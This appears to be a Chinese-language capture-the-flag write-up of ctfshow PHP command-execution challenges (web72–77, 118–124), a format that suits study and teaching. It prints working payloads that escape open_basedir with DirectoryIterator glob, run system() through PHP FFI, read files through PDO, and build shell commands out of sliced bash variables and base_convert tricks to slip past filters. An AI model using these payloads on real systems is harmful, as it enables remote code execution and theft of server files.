Web入门-命令执行-3
命令执行
从这里开始就像是打ctf的情况了, 前置是一点不会, 全靠在网上找原理找相似题目, 我的建议是做好心理准备
¶web72
- 描述: 命令执行,突破禁用函数,求你们别秀了
if(isset($_POST['c'])){ |
压根没有变?可是我的flag呢?我的flag哪里去了?
偷偷你的web71, 你尝试访问根目录的时候会发现Operation not permitted
, 权限也没了
c=var_export(scandir("./"));exit(); |
本题设置了open_basedir()
, 以及限制了ini_set()
, 现在是将php所能打开的文件限制在指定的目录树中(指定为/var/www/html
), 包括文件本身; 而且还不能通过ini_set()
重新设置这个属性(对应博客)
解决这个问题给到的payload是:
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f){echo($f->__toString().' ');} exit(0);?> |
我不是很懂这个怎么来的
# 详解: |
eval()里的语句可以视为在当前php文件里加了几条语句, 这些语句必须是完整的, 即必须以";“, 或者”?>“结尾来结束语句, 但是eval里的”?>"不会闭合当前php文件
ctfshow提供的这道题的poc(一个绕过安全目录的脚本): 说是利用了php的垃圾回收,我这里干脆就贴别人写的文章得了,我看不懂这段代码原理
¶web73
- 描述: 同上
没给源码, 但是看报错应该是差不多的, 也是open_basedir()
, 以及限制了ini_set()
可是却可以直接执行以下代码获取根目录文件, 那看来是形同虚设
c=var_export(scandir("/"));exit(); |
直接尝试包含本题的flag: flagc.txt, 成功执行拿到flag
c=include('/flagc.txt');exit(); |
¶web74
- 描述: 同上
也没给源码, 报错也一样, 那我们继续试之前的payload, 结果发现不能用了, 测试发现是因为scandir()
被限制了
那就用web72提供的代码好了, 可以得到本次的flag是flagx.txt
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f){echo($f->__toString().' ');} exit(0);?> |
直接尝试进行include, 发现可以执行, 那就拿到了flag
c=include('/flagx.txt');exit(); |
¶web75-76
- 描述: 同上
帮你试过了, 还是得用上面web72的脚本, 本次的flag叫做flag36.txt; 但是open_basedir
给你整麻了, 不能include了
然后web72的那个脚本也不行了, 不清楚原因, 只能求助于wp:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', |
浅浅分析: 大佬博客再此, 如果想要知道数据库名字似乎要从前面的题目获取
PDO 为PHP访问数据库定义了一个轻量级的一致接口,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。new PDO($dsn, $user, $pass);
try { |
¶web77
- 描述: 没有
源码也没有, 哦牛皮; 直接开套, 得到本题flag为flag36x.txt
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f){echo($f->__toString().' ');} exit(0);?> |
然后来看看远处的wp吧朋友们, payload:
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a); |
FFI(Foreign Function Interface), 即外部函数接口, php7.4以上才有, php官方解析
FFI指在一种语言里调用另一种语言代码的技术; PHP的FFI扩展就是一个让你在PHP里调用C代码的技术, 上面的payload解释如下, 访问1.txt即可得到flag
$ffi = FFI::cdef("int system(const char *command);"); //创建一个system对象 |
¶web118
- 描述: flag in flag.php, by yu22x
通过单个字符爆破登录框得到可用的字符, 其中包括大括号, 冒号, 问号和部分字母
利用内置变量的切片, 可以切出我们想要的字符; 拼接起来组合成命令nl
${PATH:~Q}${PWD:~Q} ????.??? |
其中, ~
是从字符串末尾开始切片, 我们只需要最后那个字母, 所以只需要~0
; 而任意的大小写字母与数字0等效, 选一个可用的字母即可
$PWD
应该是/var/www/html
, 取l;$PATH
最后一个单词肯定是bin
, 取n
还有另一种比较长的
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.??? |
¶web119
- 描述: 无
过滤了PATH和BASH
同理, 用上面的内置变量加切片的方法绕过过滤, 构造我们想要的命令
# ${HOME:${#HOSTNAME}:${#SHLVL}} == t |
还可以继续用nl
(题目环境不允许, 不是解题方法), 查一下怎么输出所有内置变量然后去构造
# $LANG = en_US.UTF-8, 这里还有个n, 切片方法为${LANG:${#SHLVL}:${#SHLVL}} |
¶web120
- 描述: by yu22x
给源码了; 过滤HOME, base64的payload可以继续使用, 这次构造的是a而不是t
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? |
这次需要查看网页源代码才能搜索到ctfshow
¶web121
- 描述: by yu22x 师傅们 留口饭吃
过滤了~, SHLVL, 限制了长度小于65;
base64的读取只需要稍作修改
# SHLVL被过滤, 我们使用${#?}或${##}代替 |
还可以用/bin/rev
, 即rev
, 将文件内容读取并进行反转
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.??? |
¶web124
- 描述: RCE
|
过滤了一些符号, 使用的字母必须是数学函数的白名单里的字母, 长度不能大于80
我们可以通过$_GET[]
传参来绕过过滤, []
可以用{}
代替, 再利用进制转换来构造我们需要的字符
base_convert
: 在任意进制之间转换数字。hexdec
: 把十六进制转换为十进制。dechex
: 把十进制转换为十六进制。hex2bin
: 把十六进制的字符串转换为ASCII码
没有
hex2bin
需要使用base_convert
构造出来
需要两个参数, 一个传递函数名, 一个传递函数参数值:
$_GET{abs}($_GET{acos}) |
接下来构造_GET
:
_GET
转成十六进制是0x5f474554
, 由十六进制转为十进制1598506324
_GET == hex2bin(dechex(1598506324)) |
这里base_convert写36进制, 是为了能把所有字符都表示进来, 10+26=36
payload:
POST: |